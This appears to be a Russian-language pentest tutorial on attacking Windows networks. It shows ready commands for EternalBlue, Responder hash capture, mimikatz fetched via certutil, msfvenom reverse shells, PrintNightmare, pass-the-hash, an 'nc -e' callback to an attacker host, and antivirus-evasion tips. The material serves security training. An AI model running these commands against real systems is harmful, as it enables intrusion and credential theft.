# Анализ Windows

# Поиск Win машин и эксплуатация Smb уязвимости

NBT (NetBIOS over TCP/IP) — механизм отображения запросов NetBIOS на TCP/IP.

Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса в локальной сети.

LLMNR, англ. Link-Local Multicast Name Resolution — протокол стека TCP/IP, основанный на формате пакета данных DNS,  
который позволяет компьютерам выполнять разрешение имен хостов в локальной сети.

MS17-010 — обновление безопасности, устраняющее уязвимости в Microsoft Windows. Наиболее серьезная из уязвимостей может позволить удаленное выполнение кода, если злоумышленник отправит специально созданные сообщения на сервер Microsoft Server Message Block 1.0 (SMBv1).

**Пример**

Ищем машины в сети

```
nmap -Pn -n -F -sT --open 192.168.10.0/24
```

Получаем расширенную информацию о найденной машине

```
nmap -Pn -n -p 445 -sC -v --open 192.168.10.4
```

Находим точное название скрипта проверки на подверженность уязвимости Smb

```
find /usr/share/nmap/scripts -iname '*MS17*'

/usr/share/nmap/scripts/smb-vuln-ms17-010.nse

nmap -Pn -n -p 445 --script smb-vuln-ms17-010 -v --open 192.168.10.4
```

 Находим уязвимость в msf и эксплуатируем ее

```
$ msfconsole
msf6> search ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.10.4
msf6> run
```

Соберем информацию о текущем пользователе

```
meterpreter> sysinfo

meterpreter> getuid
```

Получим хэши паролей пользователей

```
meterpreter> hashdump
```

# Обнаружение Windows машин

**Поиск по сервисам**

Распространенные сервисы Windows:

- 88 - kerberos (Kerberos Key Distribution Center) — наличие этого порта помогает определить контроллер домена в сети.
- 135 - MSRPC (Microsoft RPC\[6\]) — используется в приложениях «клиент-сервер» Microsoft (например, Exchange), позволяет выполнять различные операции в OS при наличии учетных данных.
- 137 - NETBIOS-NS (NetBIOS Name Service) — позволяет узнать доменное имя машины и ее MAC адрес.
- 389 - LDAP (Lightweight Directory Access Protocol) — этот порт может дать различные возможности, как по подбору учетных данных, так и по получению доступа к LDAP через эксплуатацию уязвимостей (пример [тут](https://www.rapid7.com/db/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass/)).
- 445 - SMB (Server Message Blocks over IP) — протокол SMB имеет ряд уязвимостей и недостатков в различных версиях, которые могут приводить к выполнению кода, захвату пользовательской сессии, получению доступа к данным на файловых серверах.
- 1433 - MSSQL (Microsoft SQL Server) — сервис MSSQL позволяет получить доступ к управлению БД и, что более важно, выполнить произвольный код на машине Windows, если у нас есть аккаунт для доступа к БД.
- 3389 - RDP (Remote Desktop Protocol) — служба удаленных рабочих столов также имеет в истории различные уязвимости, приводящие к выполнению произвольного кода (BlueKeep), и уязвима по отношению к атакам MitM, позволяющим получить доступ к службе от имени жертвы.

[Список публичных сервисов](https://social.technet.microsoft.com/wiki/contents/articles/1772.windows-ports-protocols-and-system-services.aspx).

Пример команды для обнаружения узлов с ОС Windows:

```
nmap -Pn -n -sT -p 88,135,137,389,445,1433,3389 -sV -sC --open -iL list-of-machines.txt
```

**Анализ трафика широковещательных запросов**

Машины Windows активно используют протоколы WPAD, LLMNR, NBT-NS, позволяющие определить, что с высокой долей  
вероятности именно машины Windows воспользовались данным протоколом.

Web Proxy Auto-Discovery Protocol (WPAD) (протокол автоматической настройки прокси) — метод, используемый клиентами  
для определения места (URL) расположения конфигурационного файла с использованием технологий DHCP и/или DNS.

Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса  
в локальной сети.

Link-Local Multicast Name Resolution (LLMNR) — протокол стека TCP/IP, основанный на формате пакета данных DNS, который  
позволяет компьютерам выполнять разрешение имен хостов в локальной сети.

**Широковещательные запросы NBNS, LLMNR:**

Протокол WPAD нужен для того, чтобы автоматически настроить все браузеры в организации без ручного конфигурирования  
каждого. WPAD-стандарт описывает 2 альтернативных метода распространения информации о расположении файла конфигурации для системных администраторов: с использованием Dynamic Host Configuration Protocol (DHCP) или Domain Name System (DNS).

Для поиска Windows машин мы можем исследовать трафик с использованием Wireshark и фильтром: nbns || llmnr || mdns

Для автоконфигурации клиент пытается обнаружить URL-адрес с расположением файла конфигурации, указывающим на Proxy-сервер.

До того, как будет загружена первая страница, браузер в машине Windows использует эту технологию для отправки локальному DHCP-серверу DHCPINFORM-запроса и использует полученный URL из WPAD-опции ответа сервера. Если DHCP-сервер не может предоставить требуемую информацию, то используется DNS.

Если, DNS-имя компьютера pc-hostname.subname.local-domain-name.ru, браузер попытается обратиться к следующим URL для поиска конфигурационного файла:

- [http://wpad.subname.local-domain-name.ru/wpad.dat](http://wpad.subname.local-domain-name.ru/wpad.dat)
- [http://wpad.local-domain-name.ru/wpad.dat](http://wpad.local-domain-name.ru/wpad.dat)
- http://wpad.com/wpad.dat

Проблемы:

Так как какого-то имени в сети действительно нет, клиент выполняет поиск DNS имен через следующие этапы:

- Проверяет файл hosts для получения информации о системе и ее конфигурации
- Проверяет локальный кэш DNS
- Отправляет запрос к DNS
- Отправляет запрос LLMNR
- Отправляет запрос NBT-NS
- Отправляет запрос MDNS

Если мы сможем сообщить клиенту о том, что файл wpad.dat находится у нас, мы можем попытаться запросить у клиента учетные данные для аутентификации или дать клиенту настройки прокси с адресом своего узла и прослушивать весь  
трафик, который будет идти через наш прокси сервер.

# Атаки первичного доступа

**Применение эксплойтов**

Самыми распространенными уязвимостями Windows машин в разное время являлись:

CVE-2008-4250 (MS08-067)  
CVE-2017-0143 (MS17-010)  
CVE- 2019-0708 (BlueKeep)  
\-----&gt; [полный список](https://github.com/SecWiki/windows-kernel-exploits)

**MS08-067**

MS08\_067\_netapi — один из самых популярных удаленных эксплойтов против Microsoft Windows. Он считается надежным  
эксплойтом и позволяет получить доступ как SYSTEM (это наивысшая привилегия Windows). В современных тестах на проникновение этот эксплойт, скорее всего, будет использоваться во внутренней среде и не так часто. Во внешней не так часто из-за вероятности наличия брандмауэра. Работает для:

- Windows 2000
- Windows XP
- Windows 2003

Эксплоит: Metasploit &gt; [exploits/windows/smb/ms08\_067\_netapi](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb)

**MS17-010**

MS17\_010\_eternalblue — удаленный эксплойт против Microsoft Windows, изначально написанный Equation Group (АНБ) и  
разглашенный Shadow Brokers (неизвестной хакерской организацией). Он считается надежным эксплойтом и позволяет не только получить доступ как SYSTEM, но и полный контроль над ядром в кольце 0.

Что касается удаленных эксплойтов для ядра, этот эксплойт очень надежен и безопасен в использовании. Команда проверки также очень точна, поскольку патч Microsoft непреднамеренно добавил раскрытие информации с дополнительными проверками на уязвимые пути кода. Работает для:

- Windows XP x86 (All Service Packs)
- Windows 2003 x86 (All Service Packs)
- Windows 7 x86 (All Service Packs)
- Windows 7 x64 (All Service Packs)
- Windows 2008 R2 x64 (All Service Packs)
- Windows 8.1 x64
- Windows Server 2012 R2 x64
- Windows 10 Pro x64 (&lt; Version 1507)
- Windows 10 Enterprise Evaluation x64 (&lt; Version 1507)

Эксплоит: Metasploit &gt; [exploit/windows/smb/ms17\_010\_eternalblue](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/ms17_010_eternalblue.md)

**BlueKeep**

Уязвимость BlueKeep была обнаружена в реализации протокола RDP в некоторых версиях ОС Windows в мае 2019. BlueKeep никак не относится к механизму работы самого протокола и затрагивает только его реализацию. В частности, уязвимость затрагивает часть кода, отвечающую за управление так называемыми виртуальными каналами (англ. virtual channels). Работает для:

- Windows 10
- Windows 7
- Windows 8.1
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019

Эксплоит: Metasploit &gt; [exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/rdp/cve_2019_0708_bluekeep_rce.md)

**Атаки методом перебора**

В каждой Windows машине есть по несколько протоколов, позволяющих реализовывать атаки на механизмы аутентификации. Небольшое понимание того, какие учетные данные и пароли использовать для подобных атак в определенном контексте, может сильно облегчить этот способ и сделать его крайне эффективным. Может быть атаковано:

- SMB
- MSSQL
- LDAP
- RDP

Пример атаки:

```
hydra -L ~/wordlists/user.txt -P ~/wordlists/pass.txt 192.168.1.5 smb -V
```

**Подготовка**  
Перед тем, как провести атаку методом перебора, необходимо ответить на следующие вопросы:

- Можно ли узнать логины для пользователей в домене?
- Какие пароли использовать для подбора?
- Как не заблокировать пользователей в домене?

**Словарь логинов**

Словарь логинов из домена можно получить следующими способами:

- С этапа разведки;
- С внешних систем (почта);
- Скомпрометировав какую-либо машину / аккаунт: извлечь адресную книгу почты / получить доступ к LDAP
- ​​​​​​​Словарь паролей
- Словарь паролей можно подготовить, зная привычки / менталитет сотрудников компании. Самыми популярными паролями будут: Zima2023 , Vfhn2023 (Март2023), Company2023 и пр., т.е.: использование комбинаций года, месяца, имени компании и пр.

Словари нужно подбирать в соответствии с контекстом, в котором вы их используете.

**Обход блокировки**  
Для обхода блокировки можно использовать атаку PasswordSpraying: 1 попытку подбора пароля для всех аккаунтов в списке в определенный период времени.

Особенность настройки систем Windows в том, что администраторы зачастую настраивают политику количества попыток ввода пароля. Обычно количество попыток в этой политике устанавливается в значение от 3-х до 10-ти раз в течение часа. В случае, если количество попыток превышено, аккаунт пользователя блокируется.

**Перехват трафика и MitM-атаки на машины Windows**

Особенность в использовании по умолчанию протоколов взаимодействия в локальной сети, через которые можно попытаться скомпрометировать каналы коммуникаций и получить доступ к управлению сеансами или данными в них. Каждый раз, когда машина Windows пытается выполнить разрешение доменного имени, она выполняет следующие действия:

- Проверяет файл hosts для получения информации о системе и ее конфигурации
- Проверяет локальный кэш DNS
- Отправляет запрос к DNS
- Отправляет запрос LLMNR
- Отправляет запрос NBT-NS
- Отправляет запрос MDNS

Как раз в момент использования протоколов LLMNR, NBT-NS и MDNS становиться возможным подменить ответ на такой запрос и попытаться завести жертву на свой зловредный ресурс, который сможет:

- Направить жертву в сервис аутентификации и украсть хеш пароля аккаунта (а впоследствии — и сам пароль).
- Провести атаку Relay (захвата сеанса), выполнения команд от имени жертвы в машине, где она прошла аутентификацию, и пр.

**LLMNR / NBT-NS / MDNS Spoofing.**

В момент получения запроса LLMNR/NBT-NS можно подделать реальный источник разрешения имен в сети. Он отвечает на трафик так, как будто ему известна личность запрашиваемого узла: отправляет службу, чтобы жертвы общались с контролируемой системой.

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/dJKimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/dJKimage.png)

  
Если узел, на который будет перенаправлена жертва, потребует прохождения процесса идентификации / аутентификации, имя пользователя и хэш NTLMv2 будут отправлены в контролируемую систему. Затем сохраняется хэш-информацию с помощью инструментов, отслеживающих трафик, далее взламываются хэши в автономном режиме методом грубой силы. Можно использовать NBNSpoof, Metasploit и Responder.

**Responder**

[https://github.com/SpiderLabs/Responder](https://github.com/SpiderLabs/Responder)

Responder — это инструмент для выполнения атаки MitM в отношении методов аутентификации в Windows. Эта программа  
использует отправление LLMNR, NBT-NS и MDNS, через которое перенаправляет трафик с запросами и хешами аутентификации на подконтрольный узел.  
Также в программу встроены серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы  
аутентификации, как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию. Для них  
Responder выполняет роль ретранслятора.

Запустим Responder:

```
sudo responder -I eth0
```

Перехватив NTLMv2 хеш, положим их в файл tickets.txt и попробуем восстановить пароли аккаунтов, отправивших нам хеши:

```
hashcat -a 0 -w 4 -m 5600 tickets.txt /usr/share/wordlists/rockyou.txt
```

После получения пароля воспользуемся утилитой [evil-winrm](https://github.com/Hackplayers/evil-winrm) для получения удобного доступа к терминалу:

```
evil-winrm -i [ip] -u [username] -p [password]
```

**Дополнительно**

- [Памятка](https://github.com/frostbits-security/MITM-cheatsheet) по атакам MitM
- [Телеграмм канал](https://t.me/castercanal) Магамы Базарова - эксперта по сетевым атакам
- [Responder](https://github.com/lgandx/Responder)
- [Все об атаках](https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/) на аутентификацию в Windows
- [О работе атаки](https://en.hackndo.com/ntlm-relay/) NTLM Relay

# Повышение привилегий

Горизонтальное перемещение (lateral movement) — процесс продвижения по сети от точки входа к другим объектам.

Домен – это основная административная единица в сетевой инфраструктуре предприятия, в которую входят все сетевые объекты. Совокупность (иерархия) доменов называется лесом. У каждой компании могут быть внешние и внутренние домены.

Контроллер домена (domain controller) — сервер, управляющий доступом к сетевым ресурсам в рамках одного домена. Контроллер домена осуществляет аутентификацию пользователя в домене.

**Этапы повышения привилегий:**

- Повышение привилегий на отдельной машине Windows.
- Горизонтальное перемещение в сети с Windows машинами.

**Основные категории методов повышения привилегий**

- Использование физического доступа: например, когда вы получаете прямой доступ на уровне диска и изменяете пароль в файловой системе.
- Извлечение секретов и учетных данных. С получением различных прав доступа в Windows становится возможным извлекать секреты и учетные данные из различных хранилищ.
- Эксплуатация уязвимостей конфигурации ОС Windows. Невероятно большое количество служб и сервисов в Windows должны быть корректно настроенными или отключенными, чтобы не дать доступа злоумышленнику воспользоваться недостаткам настройки.
- Эксплуатация известных уязвимостей ОС Windows. Ежегодно в Windows обнаруживают и устраняют десятки и сотни уязвимостей, благодаря которым эксплуатация становится возможной, если система не обновлена до последней версии.

**Извлечение секретов и учетных данных**

- Взлом менеджеров паролей пользователей по причине небезопасной конфигурации.
- Обнаружение секретов и учетных данных в логах и истории команд.
- Извлечение учетных данных из оперативной памяти.
- Доступ к файлу, хранящему хеши пользовательских паролей.
- Извлечение учетных данных из конфигурации Групповых Политик.

**Поиск секретов и паролей в ОС**

Можно поискать пароли в различных файлах ОС при помощи команд терминальной оболочки, например:

```
cd C:\ & findstr /s /p /i /n /m "password" *.xml *.ini *.txt *.config
```

Более подробно, каждая часть команды выполняет следующие действия:

cd C:\\ — переходит в корневую папку диска C:  
findstr — команда для поиска строк в файлах  
/s — выполняет поиск строк во всех подпапках  
/p — пропускает файлы с непечатными символами  
/i — игнорирует регистр символов при поиске строк  
/n — выводит номер строки, содержащей строку  
/m — выводит только имя файла, если файл содержит совпадение

Для повышения привилегий в ОС также существуют скрипты-энумераторы, которые отлично справляются с поиском и извлечением паролей самостоятельно.

Для ОС Windows это скрипт [WinPeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS):

**Извлечение учетных данных из оперативной памяти**

В Windows для реализации механизма HTTP Digest Authentication для поддержки SSO (Single Sign On) требуют знание вводимого пароля, а не только его хеша. Поэтому разработчики Windows решили хранить пароли пользователей в открытом виде. Для извлечения паролей и хешей из оперативной памяти можно использовать инструмент Mimikatz.

Mimikatz

Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлекать учетные данные пользователей Windows.

Дополнительную информацию по данному инструменту можно получить по следующим ссылкам:

- Что такое Mimikatz: руководство для начинающих — [https://habr.com/ru/company/varonis/blog/539340/](https://habr.com/ru/company/varonis/blog/539340/)
- Справка по mimikatz — [https://kali.tools/?p=5342](https://kali.tools/?p=5342)

Применение Mimikatz

Для загрузки инструмента mimikatz необходимо перейти в папку с правами на запись, например в C:\\Windows\\System32\\spool\\drivers\\color.  
Далее следует загрузить mimikatz на целевую машину. Это можно сделать утилитой, позволяющей скачивать файл по сети certutil: certutil -urlcache -split -f http://10.10.14.16/mimikatz.exe m.exe  
После запуска Mimi нужно указать следующую команду, которая предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege): privilege::debug  
Следующая команда вернет список всех хранящихся на этой машине хешей и паролей в виде незашифрованного текста:sekurlsa::logonPasswords

Условия для Mimikatz. Необходимы права SeDebugPrivilege, которые, как правило, есть у Администратора и нечасто встречаются у пользователя. Тем не менее, процедура извлечения учётных данных из памяти необходима в рамках проведения работ по пентесту для возможности как вертикального, так и горизонтального перемещения.

**Эксплуатация уязвимостей конфигурации ОС Windows**

- Повышение привилегий через права на создание резервных копий (SeBackupPrivilege)
- Повышение привилегий через перехват сервиса (Weak Services Permission)
- Повышение привилегий через имперсонификацию (выдачу себя за другого) SeImpersonatePrivilege (JyicyPotato)
- Повышение привилегий через права на установку ПО (AlwaysInstallElevated)
- Повышение привилегий через изменение пути бинарного файла сервиса (Service Binary Path)
- Повышение привилегий через подмену DLL библиотек (DLL Hijacking)
- Повышение привилегий через неэкранированные пути сервисов (Unquoted Service Paths)

**Повышение привилегий через права на установку ПО (AlwaysInstallElevated):**

Такая конфигурация позволяет нам воспользоваться случаем и повысить привилегии до прав системы. В ряде случаев администраторы не ограничивают пользователей в самостоятельной установке ПО.

Настройка производится через изменение ключей реестра (HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated и HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\AlwaysInstallElevated) и указывает системе разрешать пользователю установку файлов \*.msi, а установка, в свою очередь, производится с повышенными привилегиями (NT AUTHORITY\\SYSTEM).

Обнаружение в WinPeas

Если WinPeas увидит такую возможность, то отобразит нам ее в следующем виде:

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/SURimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/SURimage.png)

Подробная информация:

- [AlwaysInstallElevated](https://xakep.ru/2014/12/24/hack-admin-rules/#toc09.)
- [System Binary Proxy Execution: Msiexec](https://attack.mitre.org/techniques/T1218/007/)

Эксплуатация

Генерация файл с полезной нагрузкой в формате msi. Используем "msfvenom" из MSF для создания исполняемого файла "rev.msi", который содержит обратную оболочку для Windows x64 и связывается с IP-адресом 10.10.14.16 на порту 443.

```
msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f msi -o rev.msi
```

Подробнее:

\--platform windows — указывает, что будет использоваться платформа Windows  
-a x64 — указывает, что будет использоваться архитектура x64  
-p windows/x64/shell\_reverse\_tcp — выбирает тип обратной оболочки, которая будет использоваться в исполняемом файле  
LHOST=10.10.14.16 — задает IP-адрес, на который будет устанавливаться обратная связь  
LPORT=443 — задает порт, на который будет устанавливаться обратная связь  
-f msi — указывает формат файла, который будет создан (в данном случае это MSI-файл Windows Installer)  
-o rev.msi — задает имя и путь для выходного файла

Запуск “установщика” в режиме "тихой" установки

```
msiexec /quiet /qn /i rev.msi
```

/quiet — указывает на режим тихой установки, в котором пользователю не будут выводиться диалоговые окна и сообщения  
/qn — указывает на то, что будет использоваться минимальный уровень отображения информации о ходе установки  
/i — указывает, что будет произведена установка MSI-пакета  
rev.msi — имя MSI-файла, который будет устанавливаться

**Эксплуатация известных уязвимостей ОС Windows**

- Уязвимость в установщике Windows (InstallerFileTakeOver (0day)
- Уязвимость в Windows Print Spooler (PrintNightmare)
- Уязвимость в планировщике задач Windows (MS10-092)
- Уязвимость в ядре Windows (MS16\_014)
- Обработка вторичного входа в систему (MS16-032)

Для поиска известных уязвимостей в Windows для вашей версии ОС можно использовать как скрипты энумерации, так и ресурсы, агрегирующие в себе подобную информацию ([пример](https://msrc.microsoft.com/update-guide/vulnerability)).

**Уязвимость в Windows Print Spooler (PrintNightmare)**

Эта проблема до сих пор актуальна и может встречаться в современных сетях компаний. Служба Windows Print Spooler — это универсальный интерфейс между ОС, приложениями и локальными или сетевыми принтерами. Она позволяет разработчикам приложений отправлять задания на печать.

PrintNightmare — это критическая уязвимость системы безопасности, затрагивающая операционную систему Microsoft Windows. Есть два варианта ее эксплуатации: один разрешает удаленное выполнение кода, а другой ведет к повышению привилегий. Рассмотрим повышение привилегий.

Поиск уязвимости

Для поиска уязвимости обратимся к списку процессов. В списке процессов должна быть служба печати — spoolsv:

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/OrRimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/OrRimage.png)

Проверяем доступ к сервису по TCP порту. Использовать утилиту обращения к RPC сервисам Windows: rpcdump.py

```
rpcdump.py @10.10.10.175 | egrep 'MS-RPRN|MS-PAR'
```

[![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/394image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/394image.png)

Эта команда выполняет две операции:

rpcdump.py @10.10.10.175 — запускает утилиту rpcdump.py, которая использует протокол RPC (Remote Procedure Call) для получения информации о доступных удаленных процедурах на хосте с IP-адресом 10.10.10.175.  
egrep 'MS-RPRN|MS-PAR' — фильтрует вывод утилиты rpcdump.py с помощью утилиты egrep, чтобы отобразить только строки, содержащие "MS-RPRN" или "MS-PAR". Это позволяет отфильтровать информацию, связанную с протоколами Microsoft Remote Printing (MS-RPRN) и Microsoft Parallel Remote (MS-PAR), которые могут быть использованы для удаленного доступа к принтерам и портам ввода-вывода соответственно.

Как работает уязвимость

Проблемы в службе печати Windows, приводящие к выполнению произвольного кода, не являются редким явлением. Наиболее известная уязвимость в Windows, Print Spooler, используется в атаке Stuxnet: клиент использует вызов RPC для добавления драйвера на сервер, сохраняя его в локальном или удаленном каталоге SMB.

Драйвер может содержать произвольный код, который будет выполняться на сервере с правами SYSTEM. Команду может выполнить любой пользователь, прошедший аутентификацию в службе диспетчера очереди печати. При наличии учетных данных пользователя появляется возможность выполнить любую DLL от имени SYSTEM.

Эксплуатация уязвимости

Для эксплуатации уязвимости подготовим DLL, которая будет загружена и исполнена, и воспользоваться эксплойтом уязвимости. DLL с “обратной оболочкой” можно создать при помощи msfvenom следующей командой:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=1337 -f dll -o /tmp/print.dll
```

Для его использования в последствии необходимо либо выложить DLL на файловый сервер, который будет доступен машине жертвы, либо загрузить его на машину жертвы.

Для эксплуатации уязвимости можно выбрать публичный эксплойт и выполнить его командой:

```
python3 ./CVE-2021-1675.py example.local/Alex:HappyHacking@192.168.0.134 '\\192.168.0.177\share\print.dll'
```

Таким образом, могут быть получены права SYSTEM через уязвимость в Windows — Print Spooler. Критичность данной уязвимости повышается ещё и благодаря тому, что служба Windows Print Spooler включена в Windows по умолчанию, что потенциально расширяет применимость данного вектора.

**Горизонтальное (“боковое”) перемещение**

Это одновременное сочетание 2 техник:

- Извлечение секретной информации после получения доступа.
- Аутентифицированное удаленное выполнения кода.

Цикличное повторение позволяет от одного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры.

**Локальные учетные записи и NT(LM)-хеши**

Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \\windows\\system32\\config наряду с другими кустами.

Даже администратор (за исключением system) не может получить доступ к HKLM\\sam с помощью regedit.exe или напрямую, скопировав файл из системной директории. Однако команда reg.exe позволяет это сделать. На практике мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.

Место хранения хешей паролей.

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В Vista и выше LM-хэш не хранится. Для начала посмотрим, где искать эти хэши, а потом разберемся, что из себя они представляют.

Пароли пользователей, а также много другой полезной информации хранится в реестре по адресу HKLM\\SAM\\SAM\\Domains\\Account\\users\\\[RID\]\\V, известном как V-блок.

Раздел SAM находится в соответствующем файле С:\\Windows\\System32\\config\\SAM.

В Windows 2000 и выше оба полученных хэша дополнительно шифруются алгоритмом RC4 с помощью ключа, известного как «системный ключ», или bootkey, сгенерированного утилитой syskey, и шифруются довольно хитрым образом.

Получить из реестра хэши можно с правами локального админа, например, используя уже знакомый нам meterpreter и его команду hashdump.

В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::.

В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0.

Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход.

Пример извлеченного хеша:

admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit.

Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для атаки Pass-the-Hash.

\* Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay).

**Pass the Hash**

Pass the Hash (PtH) — это метод аутентификации пользователя без доступа к его паролю в открытом виде. Метод заключается в обходе стандартных этапов аутентификации, на которых требуется ввод пароля, и переходе непосредственно к той части аутентификации, которая использует хэш пароля.

Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов:

- MSRPC (SMB)
- DCERPC (WMI)
- WINRM
- MS SQL
- RDP (только Windows 2012 R2 и Windows 8.1)
- LDAP
- IMAP
- HTTP

Но выполнять код мы можем, как правило, только на первых пяти сервисах из списка, для последних трех более применимы атаки NTLM-relay.

Для осуществления атаки Pass the Hash в Windows 7 и выше с установленным обновлением KB2871997 требуются действительные учетные данные пользователя домена или хэши администратора (RID 500).

```
psexec.py -hashes
> aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc
example.local/Administrator@10.129.177.234 whoami
```

Psexec.py — один из скриптов из набора скриптов Impacket, отвечающий за выполнение команды в Windows системах в соответствии с тем как работает утилита psexec.

Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на предоставление низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — к самой реализации протокола. Пакеты могут быть созданы с нуля, а также разобраны из необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов в качестве примеров того, что может быть сделано в контексте этой библиотеки.

**Выполнение кода на узле с учетной записью**

Удаленное исполнение кода на узле может выполняться различными способами. Рассмотрим несколько утилит, которые позволят нам удобно работать с выполнением кода на удаленных машинах в будущем.

Psexec.exe

Происхождение: sysinternals  
Риск детектирования антивирусом: отсутствует  
Используемые порты: 135, 445, 4915x/TCP  
Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP) с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP).

Psexec работает следующим образом:

- Подключается к общей сетевой папке и производит запись сервиса
- Создает сервис через удаленный sc.exe
- Стартует с удаленного сервиса
- Psexec останавливает сервис
- Удаляет сервис
- Удаляет бинарный файл

После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой:

```
psexec.exe -u admin \\target cmd
```

Серверный компонент psexecsvc.exe подписан сертификатом Sysinternals и, следовательно, это стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах:

```
psexec.exe -u admin -i 2 \\target shutdown /l
```

Impacket

Impacket — это набор классов Python для работы с сетевыми протоколами. Impacket ориентирован на обеспечение низкоуровневого программного доступа к пакетам, а для некоторых протоколов (например, SMB1-3 и MSRPC) — на саму реализацию протокола. Пакеты могут быть созданы с нуля, а также проанализированы на основе необработанных данных, а объектно-ориентированный API упрощает работу с глубокими иерархиями протоколов. Библиотека предоставляет набор инструментов в качестве примеров того, что можно сделать в контексте этой библиотеки.

Psexec.py

Происхождение: Python-пакет impacket  
Риск детектирования антивирусом: есть  
Используемые порты: 445/TCP  
Отличная альтернатива для пользователей Linux, однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост.

Это можно исправить, указав в реализации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.

Чтобы psexec.py не скопировал заметный антивирусу компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку уже вручную прописали команду - этим файлом может быть что угодно:

```
psexec.py -file somefile.txt admin@target
```

Таким образом, мы напрямую выполнили команду, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально.

Atexec.py / at.exe

Происхождение: Python-пакет impacket / встроенный компонент Windows  
Риск детектирования антивирусом: отсутствует  
Используемые порты: 445/TCP  
Служба планировщика заданий Windows, доступная через smb-пайп atsvc. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент.

\# DCE/RPC — удаленный планировщик, работает на Windows Vista и выше. В обоих случаях это не интерактивное средство удаленного исполнения кода. При использовании at.exe происходит слепое исполнение команд:

at.exe \\\\target 13:37 "cmd /c copy \\\\attacker\\a\\nc.exe &amp;&amp; nc -e \\windows\\system32\\cmd.exe attacker 8888"

А вот для atexec.py команда выполнится с результатом: atexec.py admin@target ipconfig

Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$.  
Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время — с точностью до минуты.

**Дополнительная информация**

Рекомендуемые ресурсы

- Безопасность аутентификации [в Windows и AD](https://www.youtube.com/watch?v=_Yuu4RaMWDY&t=7979s)
- [Hacktrics](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
- [Стандарт](http://www.pentest-standard.org/index.php/Main_Page%C2%A0) по тестированию на проникновение PTES

Active Directory:

- Чеклист по тестированию защищенности Active Directory
- [Эксплуатация](https://github.com/VoidSec/CVE-2020-1472) Zerologon
